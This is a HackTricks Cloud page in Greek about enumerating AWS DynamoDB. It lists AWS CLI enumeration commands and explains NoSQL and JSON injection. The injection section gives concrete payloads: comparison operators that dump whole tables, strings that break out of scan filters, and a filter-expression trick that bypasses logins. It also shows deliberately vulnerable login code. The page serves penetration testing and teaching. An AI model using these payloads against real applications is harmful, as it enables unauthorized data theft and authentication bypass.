AWS - DynamoDB Enum
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
DynamoDB
Basic Information
Η Amazon DynamoDB παρουσιάζεται από την AWS ως μια πλήρως διαχειριζόμενη, serverless, βάση δεδομένων NoSQL τύπου key-value, σχεδιασμένη για την υποστήριξη εφαρμογών υψηλής απόδοσης ανεξαρτήτως μεγέθους. Η υπηρεσία εξασφαλίζει ισχυρές δυνατότητες, συμπεριλαμβανομένων των εγγενών μέτρων ασφαλείας, αδιάλειπτων αντιγράφων ασφαλείας, αυτοματοποιημένης αναπαραγωγής σε πολλές περιοχές, ενσωματωμένης προσωρινής μνήμης και βολικών εργαλείων εξαγωγής δεδομένων.
Στο πλαίσιο της DynamoDB, αντί να δημιουργηθεί μια παραδοσιακή βάση δεδομένων, δημιουργούνται πίνακες. Κάθε πίνακας απαιτεί τον καθορισμό ενός partition key ως αναπόσπαστο μέρος του κύριου κλειδιού του πίνακα. Αυτό το partition key, ουσιαστικά μια τιμή hash, παίζει κρίσιμο ρόλο τόσο στην ανάκτηση αντικειμένων όσο και στη διανομή δεδομένων σε διάφορους κόμβους. Αυτή η διανομή είναι καθοριστική για τη διατήρηση τόσο της κλιμάκωσης όσο και της διαθεσιμότητας της βάσης δεδομένων. Επιπλέον, υπάρχει η επιλογή να προστεθεί ένα sort key για περαιτέρω βελτίωση της οργάνωσης των δεδομένων.
Encryption
Από προεπιλογή, η DynamoDB χρησιμοποιεί ένα KMS key που **ανήκει στην Amazon DynamoDB,** όχι καν στο AWS managed key που τουλάχιστον ανήκει στον λογαριασμό σας.
Backups & Export to S3
Είναι δυνατή η προγραμματισμένη δημιουργία αντιγράφων ασφαλείας πίνακα ή η δημιουργία τους κατόπιν αιτήματος. Επιπλέον, είναι επίσης δυνατή η ενεργοποίηση της Ανάκτησης σε συγκεκριμένο χρόνο (PITR) για έναν πίνακα. Η ανάκτηση σε συγκεκριμένο χρόνο παρέχει συνεχόμενα αντίγραφα ασφαλείας των δεδομένων σας στη DynamoDB για 35 ημέρες για να σας βοηθήσει να προστατευθείτε από τυχαίες εγγραφές ή διαγραφές.
Είναι επίσης δυνατή η εξαγωγή των δεδομένων ενός πίνακα σε S3, αλλά ο πίνακας πρέπει να έχει ενεργοποιημένο το PITR.
GUI
Υπάρχει ένα GUI για τοπικές υπηρεσίες Dynamo όπως DynamoDB Local, dynalite, localstack, κ.λπ., που θα μπορούσε να είναι χρήσιμο: https://github.com/aaronshaf/dynamodb-admin
Enumeration
# Tables
aws dynamodb list-tables
aws dynamodb describe-table --table-name <t_name> #Get metadata info
## The primary key and sort key will appear inside the KeySchema field
#Check if point in time recovery is enabled
aws dynamodb describe-continuous-backups \
--table-name tablename
# Backups
aws dynamodb list-backups
aws dynamodb describe-backup --backup-arn <arn>
aws dynamodb describe-continuous-backups --table-name <t_name>
# Global tables
aws dynamodb list-global-tables
aws dynamodb describe-global-table --global-table-name <name>
# Exports
aws dynamodb list-exports
aws dynamodb describe-export --export-arn <arn>
# Misc
aws dynamodb describe-endpoints #Dynamodb endpoints
Μη Αυθεντικοποιημένη Πρόσβαση
AWS - DynamoDB Unauthenticated Access
Privesc
Μετά την Εκμετάλλευση
AWS - DynamoDB Post Exploitation
Επιμονή
Εισαγωγή DynamoDB
SQL Εισαγωγή
Υπάρχουν τρόποι πρόσβασης στα δεδομένα του DynamoDB με SQL σύνταξη, επομένως, είναι επίσης δυνατές οι τυπικές SQL εισαγωγές.
NoSQL Εισαγωγή
Στο DynamoDB μπορούν να χρησιμοποιηθούν διαφορετικές συνθήκες για την ανάκτηση δεδομένων, όπως σε μια κοινή NoSQL εισαγωγή. Αν είναι δυνατό να αλυσιδωθούν περισσότερες συνθήκες για την ανάκτηση δεδομένων, θα μπορούσατε να αποκτήσετε κρυφά δεδομένα (ή να εξάγετε ολόκληρο τον πίνακα).
Μπορείτε να βρείτε εδώ τις υποστηριζόμενες συνθήκες από το DynamoDB: https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html
Σημειώστε ότι υποστηρίζονται διαφορετικές συνθήκες αν τα δεδομένα προσπελάζονται μέσω query ή μέσω scan.
Note
Στην πραγματικότητα, οι ενέργειες Query χρειάζονται να καθορίσουν τη συνθήκη “EQ” (ίσο) στο κύριο κλειδί για να λειτουργήσουν, καθιστώντας το πολύ λιγότερο επιρρεπές σε NoSQL εισαγωγές (και επίσης περιορίζοντας πολύ τη λειτουργία).
Αν μπορείτε να αλλάξετε τη σύγκριση που εκτελείται ή να προσθέσετε νέες, θα μπορούσατε να ανακτήσετε περισσότερα δεδομένα.
# Comparators to dump the database
"NE": "a123" #Get everything that doesn't equal "a123"
"NOT_CONTAINS": "a123" #What you think
"GT": " " #All strings are greater than a space
Raw Json injection
Caution
Αυτή η ευπάθεια βασίζεται στο dynamodb Scan Filter το οποίο είναι πλέον απαρχαιωμένο!
DynamoDB δέχεται Json αντικείμενα για αναζήτηση δεδομένων μέσα στη βάση δεδομένων. Αν διαπιστώσετε ότι μπορείτε να γράψετε στο json αντικείμενο που αποστέλλεται για αναζήτηση, θα μπορούσατε να κάνετε dump της βάσης δεδομένων, όλων των περιεχομένων.
Για παράδειγμα, εισάγοντας σε ένα αίτημα όπως:
'{"Id": {"ComparisonOperator": "EQ","AttributeValueList": [{"N": "' + user_input + '"}]}}'
ένας επιτιθέμενος θα μπορούσε να εισάγει κάτι σαν:
1000"}],"ComparisonOperator": "GT","AttributeValueList": [{"N": "0
διορθώστε την κατάσταση “EQ” αναζητώντας το ID 1000 και στη συνέχεια αναζητώντας όλα τα δεδομένα με μια συμβολοσειρά Id μεγαλύτερη από 0, που είναι όλα.
Ένα άλλο ευάλωτο παράδειγμα χρησιμοποιώντας μια σύνδεση θα μπορούσε να είναι:
scan_filter = """{
"username": {
"ComparisonOperator": "EQ",
"AttributeValueList": [{"S": "%s"}]
},
"password": {
"ComparisonOperator": "EQ",
"AttributeValueList": [{"S": "%s"}]
}
}
""" % (user_data['username'], user_data['password'])
dynamodb.scan(TableName="table-name", ScanFilter=json.loads(scan_filter))
Αυτό θα ήταν ευάλωτο σε:
username: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none
password: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none
:property Injection
Ορισμένα SDK επιτρέπουν τη χρήση μιας συμβολοσειράς που υποδεικνύει τη φιλτράρισμα που θα εκτελεστεί όπως:
new ScanSpec().withProjectionExpression("UserName").withFilterExpression(user_input+" = :username and Password = :password").withValueMap(valueMap)
Πρέπει να γνωρίζετε ότι η αναζήτηση στο DynamoDB για υποκατάσταση μιας τιμής χαρακτηριστικού σε εκφράσεις φίλτρου κατά την σάρωση των στοιχείων, οι τόκεν θα πρέπει να ξεκινούν με τον χαρακτήρα :. Τέτοιοι τόκεν θα αντικατασταθούν με την πραγματική τιμή χαρακτηριστικού κατά την εκτέλεση.
Επομένως, μια σύνδεση όπως η προηγούμενη μπορεί να παρακαμφθεί με κάτι σαν:
:username = :username or :username
# This will generate the query:
# :username = :username or :username = :username and Password = :password
# which is always true
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks Cloud

